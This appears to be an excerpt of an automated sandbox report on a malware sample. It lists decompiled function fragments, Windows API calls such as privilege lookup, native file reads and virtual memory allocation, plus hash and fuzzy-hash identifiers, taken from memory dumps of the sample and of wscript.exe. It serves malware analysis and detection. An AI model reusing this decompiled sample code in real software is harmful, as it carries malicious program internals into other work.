0x004184e1
0x004184e3
0x004184ef
0x004184ef
0x004184f7
0x004184fc
0x004184ff
0x00418509
0x0041850d
0x0041850f
0x00418510
0x00418511
0x00418511

APIs

RtlAllocateHeap.NTDLL(&5A,?,00413C9F,00413C9F,?,00413526,?,?,?,?,?,00000000,00408B03,?), ref: 004184CD

Strings

&5A, xrefs: 004184CC

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID: &5A
API String ID: 1279760036-1617645808
Opcode ID: 081b32a402b3cec72de3e6b262946ea451df00b1ffd9ecb435921d0e42fb6493
Instruction ID: a7c3920ac5df27d3a9b10f4214c15e9f06118cad4b98e4499fd8b2b8abca3bac
Opcode Fuzzy Hash: 081b32a402b3cec72de3e6b262946ea451df00b1ffd9ecb435921d0e42fb6493
Instruction Fuzzy Hash: A2D0233600D5402FF715DB909D614F37F6DEE8A21131C449FD5984F109EC1D8C455F90

Uniqueness

Uniqueness Score: -1.00%

Function 00407270, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00407270(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E00419D30( &_v67, 0, 0x3f);
				E0041A910( &_v68, 3);
				_t12 = E00409B30(_t30, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00413E40(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E00409290(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00407270
0x0040727f
0x00407283
0x0040728e
0x0040729e
0x004072ae
0x004072b3
0x004072ba
0x004072bd
0x004072ca
0x004072cc
0x004072ce
0x004072eb
0x004072eb
0x00000000
0x004072ed
0x004072f2

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072CA

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
Instruction ID: 34c16447600cfe3bfc53875ba7b31b7f06d917fb68e10caa6e1b72df1d8a1719
Opcode Fuzzy Hash: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
Instruction Fuzzy Hash: 9901D431A8022877E720A6959C03FFE776C5B00B55F05046EFF04BA1C2E6A87A0542EA

Uniqueness

Uniqueness Score: -1.00%

Function 00418632, Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418632(void* __ebx, void* __edi, signed int __esi, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t13;
				signed int _t21;

				_pop(ds);
				_push(__edi);
				asm("sbb al, [eax]");
				asm("insd");
				_t21 = __esi &  *(__ebx - 0x13);
				_t10 = _a4;
				_push(_t21);
				E00418DD0(__edi, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_t10 + 0xa18)), 0, 0x46);
				_t13 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t13;
			}

0x00418632
0x00418633
0x00418634
0x00418636
0x0041863c
0x00418643
0x0041864c
0x0041865a
0x00418670
0x00418674

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFB2,0040CFB2,00000041,00000000,?,00408B75), ref: 00418670

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 29c36544544d358bb665435a0ce85c3afbbaa9d1e1efb078e19c54c1b481902b
Instruction ID: 0823604221ded2e02125ec5940389499a8409c195ecd2bd584dc1e7532d5fb84
Opcode Fuzzy Hash: 29c36544544d358bb665435a0ce85c3afbbaa9d1e1efb078e19c54c1b481902b
Instruction Fuzzy Hash: BFF039B16002086BCB20DF58DC85EE777A9AF89B50F018199FD086B282C931ED118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004184E0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004184E0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E00418DD0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184ef
0x004184f7
0x0041850d
0x00418511

APIs

RtlFreeHeap.NTDLL(00000060,00408B03,?,?,00408B03,00000060,00000000,00000000,?,?,00408B03,?,00000000), ref: 0041850D

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 3ff41463f96ddcb9b979ffb1c010e7f29050f08b507ceaebb1b5cb1da4dac703
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: A0E01AB12002086BD714DF59DC45EA777ACAF88750F014559B90857281C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418640, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418640(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E00418DD0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041865a
0x00418670
0x00418674

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFB2,0040CFB2,00000041,00000000,?,00408B75), ref: 00418670

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: efef6450e86da2b54d6b49fe3c32415886d6c73e427b64be19593e81b86a73e4
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 1CE01AB12002086BDB10DF49DC85EE737ADAF88650F018159BA0857281C934E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00418513, Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E00418513(intOrPtr _a4, int _a8) {
				void* _t13;

				asm("hlt");
				asm("cld");
				asm("enter 0x64ea, 0x6");
				asm("ficom word [ebp-0x75]");
				_t6 = _a4;
				E00418DD0(_t13, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t6 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418519
0x0041851a
0x0041851b
0x0041851f
0x00418523
0x0041853a
0x00418548

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418548

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: aeca54b92252638ab58312d36b5b6435cf372133c9dc121f5677d10a241e1321
Instruction ID: fc233aa010e4592d2163c625484270f96baaf5227b3201855f3a359be2d137ff
Opcode Fuzzy Hash: aeca54b92252638ab58312d36b5b6435cf372133c9dc121f5677d10a241e1321
Instruction Fuzzy Hash: E9E086356102047BD734DF65CC85FC777689F58390F118158B9585B251C670AA00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00418520, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418520(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				E00418DD0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418523
0x0041853a
0x00418548

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418548

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 0124507ddd2f9c2d15af78755faa13525d8eeaf852c7518965348cd9efebe569
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: A8D012716003187BD620DF99DC85FD7779CDF48790F018169BA1C5B281C571BA0086E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: wscript.exe PID: 5064 Parent PID: 3472 wscript.exeCOMMON

Executed Functions

Function 021C81D0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,021C3BA7,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,021C3BA7,007A002E,00000000,00000060,00000000,00000000), ref: 021C821D

Strings

.z`, xrefs: 021C820D, 021C8218

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 656b77edd9e67f06b7a506d61d1c449916017f57213aea64f651490301baa3ea
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: 44F0BDB2200208AFCB08CF88DC84EEB77ADAF8C754F158248BA0D97240C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 021C827A, Relevance: 1.5, APIs: 1, Instructions: 38filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(021C3D62,5E972F59,FFFFFFFF,021C3A21,?,?,021C3D62,?,021C3A21,FFFFFFFF,5E972F59,021C3D62,?,00000000), ref: 021C82C5

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1abb6a6e7e3bd7a4f49311769b666241fa834a040b43ef40ef144fcf4b556c11
Instruction ID: 6adb413e05a4a2552f419a582479de3ed49c53d8fec7ecad560122a71e39b19a
Opcode Fuzzy Hash: 1abb6a6e7e3bd7a4f49311769b666241fa834a040b43ef40ef144fcf4b556c11
Instruction Fuzzy Hash: 20F0F9B6200118AFCB14DF88DC81EEB77A9EF9C714F168248FA0D97281C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 021C8280, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(021C3D62,5E972F59,FFFFFFFF,021C3A21,?,?,021C3D62,?,021C3A21,FFFFFFFF,5E972F59,021C3D62,?,00000000), ref: 021C82C5

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 7ebc39ee518e772617822c25b92a967e9d5e13ff250a6d4148e2459db8ed51f0
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: B1F0A4B6200208AFCB14DF89DC80EEB77ADAF8C754F158249BA1D97241D630E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 021C83AA, Relevance: 1.5, APIs: 1, Instructions: 32memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,021B2D11,00002000,00003000,00000004), ref: 021C83E9

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 8bf689cf6594175230f5ce36b49630b363066a09483dfb43de49ff6ddc9f7074
Instruction ID: 43a53c7f382fe341b17d6196f85d1bfee1dedc94c24c47082fcf4e243f846373
Opcode Fuzzy Hash: 8bf689cf6594175230f5ce36b49630b363066a09483dfb43de49ff6ddc9f7074
Instruction Fuzzy Hash: 1AF0F2B6210208AFCB14DF88CC81EAB77AEEF88654F158149BA1CA7241C630E911CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 021C83B0, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,021B2D11,00002000,00003000,00000004), ref: 021C83E9

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 337ad681519372ff32c3b3a7ebd3b62451dcea5d9d7b738e28f3b3b74fdb3bbd
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 9CF015B6200208AFCB14DF89CC80EAB77ADAF88750F118149BE0897241C630F810CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 021C82FB, Relevance: 1.5, APIs: 1, Instructions: 20filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(021C3D62,5E972F59,FFFFFFFF,021C3A21,?,?,021C3D62,?,021C3A21,FFFFFFFF,5E972F59,021C3D62,?,00000000), ref: 021C82C5

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b3e33bd95f613c068d81180f4c973ef1829e327647e6ebc2b25fd51a06e3b657
Instruction ID: 52dbb64c0ab03ed0941ffa179b0f66e70c8a4da57eff0286e77b28ec2e29b34f
Opcode Fuzzy Hash: b3e33bd95f613c068d81180f4c973ef1829e327647e6ebc2b25fd51a06e3b657
Instruction Fuzzy Hash: 16D067B6214409AF8B08DF89EC81CEBB3ADEF8C710711861DBA59C3104D630E812CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 021C8300, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(021C3D40,?,?,021C3D40,00000000,FFFFFFFF), ref: 021C8325

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 65edd2ed1a8c2ba65864c774c44af8d1cd376e8c2a599a93787bc884b09c3969
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 64D012752402146BD710EF98CC85EA7775DEF44750F154459BA185B241C570F90087E0

Uniqueness

Uniqueness Score: -1.00%

Function 046A9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A954A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 68c2e8dfa7ebfa3d61b2136bb0db1e463c4679c65cf1c14a75d8dc59d803ebe3
Instruction ID: a3db29034243b6edcd07976bb780da9daf13b6c388e70a613493460df07a4c9f
Opcode Fuzzy Hash: 68c2e8dfa7ebfa3d61b2136bb0db1e463c4679c65cf1c14a75d8dc59d803ebe3
Instruction Fuzzy Hash: C79002A5221000032146A9590705547004AD7D5395351C031F1406950CE761E8A162A1

Uniqueness

Uniqueness Score: -1.00%

Function 046A95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A95DA

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e9ec45d0d32c5b469b7e8c124894c4a553b6a2d3ce0bdfa6392d7d97c99b3a35
Instruction ID: dc6c2e66c3b6fb472b40033659dcec037239ffeb80ef6160c9acd47217312943
Opcode Fuzzy Hash: e9ec45d0d32c5b469b7e8c124894c4a553b6a2d3ce0bdfa6392d7d97c99b3a35
Instruction Fuzzy Hash: A39002E121200003614675594415656400ED7E0245B51C031E1405990DD665E8D172A5

Uniqueness

Uniqueness Score: -1.00%

Function 046A9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A966A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c6acf3d5ed0b760d3572d5c18e527770e7b73e8956e2aa344372b8357f235a77
Instruction ID: 33a7f689826ce674672df69486b242c494b7aa884e7fdd26b7b020abd38610fd
Opcode Fuzzy Hash: c6acf3d5ed0b760d3572d5c18e527770e7b73e8956e2aa344372b8357f235a77
Instruction Fuzzy Hash: 229002B121100803F1C17559440568A0009D7D1345F91C025A0416A54DDB55EA9977E1

Uniqueness

Uniqueness Score: -1.00%

Function 046A9650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A965A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 779e801e35b0248231ae36752591db5938aad74a5777efba7aedafd8b0af834b
Instruction ID: 843d57ff7b1d3a3ff78f204496c05b03c26921cfb2987bd68e64cb8606098d77
Opcode Fuzzy Hash: 779e801e35b0248231ae36752591db5938aad74a5777efba7aedafd8b0af834b
Instruction Fuzzy Hash: B79002B121504843F18175594405A860019D7D0349F51C021A0455A94DE765ED95B7E1

Uniqueness

Uniqueness Score: -1.00%

Function 046A96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A96EA

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 73babb0e3068eb13aa02545f9ac4a21c9806cf4e45b3b7e5c8b30dac2146da4c
Instruction ID: cc5e1c35d316886001f9e79ea1c57d287b532310f9f83ce688daa0f85feb374a
Opcode Fuzzy Hash: 73babb0e3068eb13aa02545f9ac4a21c9806cf4e45b3b7e5c8b30dac2146da4c
Instruction Fuzzy Hash: DF9002B121108803F1516559840578A0009D7D0345F55C421A4815A58DD7D5E8D172A1

Uniqueness

Uniqueness Score: -1.00%

Function 046A96D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A96DA

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e9ce3a12c62bade2ab7893e8a354972b0685499f3710fb3ed33725823f9aba91
Instruction ID: b9daf6df634bf4b6a524813b0c4ae3bfb2a54ea61f8fcd04fded126ebad19dd3
Opcode Fuzzy Hash: e9ce3a12c62bade2ab7893e8a354972b0685499f3710fb3ed33725823f9aba91
Instruction Fuzzy Hash: 6F9002B121100843F14165594405B860009D7E0345F51C026A0515A54DD755E89176A1

Uniqueness

Uniqueness Score: -1.00%

Function 046A9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A971A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0c668480f957b9071a756f3750a7ffb097582bfcd612221b3a8566fdbd6a1a34
Instruction ID: 448172fa3bf589ae432e166c32b8b078e01aa8a0ac71d813679c0b7a0c464be0
Opcode Fuzzy Hash: 0c668480f957b9071a756f3750a7ffb097582bfcd612221b3a8566fdbd6a1a34
Instruction Fuzzy Hash: 969002B121100403F141699954096860009D7E0345F51D021A5415955ED7A5E8D172B1

Uniqueness

Uniqueness Score: -1.00%

Function 046A9FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A9FEA

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3acb8cfc3ddaeeb77c60bf45f467c92f5a8c5457c1df2754f089d1959626def4
Instruction ID: ffd886cf2403c78570574422274ce184dd9ae735ace8ac1a6d4f5d69aa64505b
Opcode Fuzzy Hash: 3acb8cfc3ddaeeb77c60bf45f467c92f5a8c5457c1df2754f089d1959626def4
Instruction Fuzzy Hash: 0B9002B132114403F151655984057460009D7D1245F51C421A0C15958DD7D5E8D172A2

Uniqueness

Uniqueness Score: -1.00%

Function 046A9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A978A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 096e18f00574c82c69b3f2d133905369edb320b5cda6f80863e5187287d997b5
Instruction ID: d6ab7868b2a22c5797c8d3b6e90e0e50c05fcd81bd74bb8549ae38751e033614
Opcode Fuzzy Hash: 096e18f00574c82c69b3f2d133905369edb320b5cda6f80863e5187287d997b5
Instruction Fuzzy Hash: 7C9002A922300003F1C17559540964A0009D7D1246F91D425A0406958CDA55E8A963A1

Uniqueness

Uniqueness Score: -1.00%

Function 046A9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A986A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a5f640de746120fef046e1d2909a21d78bf44f73c83da7605b1b786f69b9a814
Instruction ID: 0b041b02183abcebd3104b3d7c8dd738e3fae72d3a26351413e594a48e311d7c
Opcode Fuzzy Hash: a5f640de746120fef046e1d2909a21d78bf44f73c83da7605b1b786f69b9a814
Instruction Fuzzy Hash: 559002B121100413F15265594505747000DD7D0285F91C422A0815958DE796E992B2A1

Uniqueness

Uniqueness Score: -1.00%

Function 046A9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A984A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 837f39059366caefdc20abfd358423fedc38df55f6c3bf78f60794a2bd4e21cd
Instruction ID: 8966651e71743aaa2401f52b0670ffda67fe1f082914a314cff574a97f1b5227
Opcode Fuzzy Hash: 837f39059366caefdc20abfd358423fedc38df55f6c3bf78f60794a2bd4e21cd
Instruction Fuzzy Hash: 9B9002A1252041537586B5594405547400AE7E0285791C022A1805D50CD666F896E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 046A9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A991A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 591747858a70c7edfa7cb531316361b61412f57b76c8c2cefd8d106d7190765d
Instruction ID: 4972ed2fcbdee99bf38bcac6d8be5339cc09134a60355ca49d62c4186a0a7938
Opcode Fuzzy Hash: 591747858a70c7edfa7cb531316361b61412f57b76c8c2cefd8d106d7190765d
Instruction Fuzzy Hash: 239002F121100403F181755944057860009D7D0345F51C021A5455954ED799EDD577E5

Uniqueness

Uniqueness Score: -1.00%

Function 046A99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A99AA

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a963ae9a379178b5279d017d389482e3d3cf5bc5b688a704397d09b1964b22dc
Instruction ID: 5072adf27d829cb871f904bc675603e49e793b70e246a92a9d23ef404026a0c2
Opcode Fuzzy Hash: a963ae9a379178b5279d017d389482e3d3cf5bc5b688a704397d09b1964b22dc
Instruction Fuzzy Hash: 9E9002E135100443F14165594415B460009D7E1345F51C025E1455954DD759EC9272A6

Uniqueness

Uniqueness Score: -1.00%

Function 046A9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A9A5A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

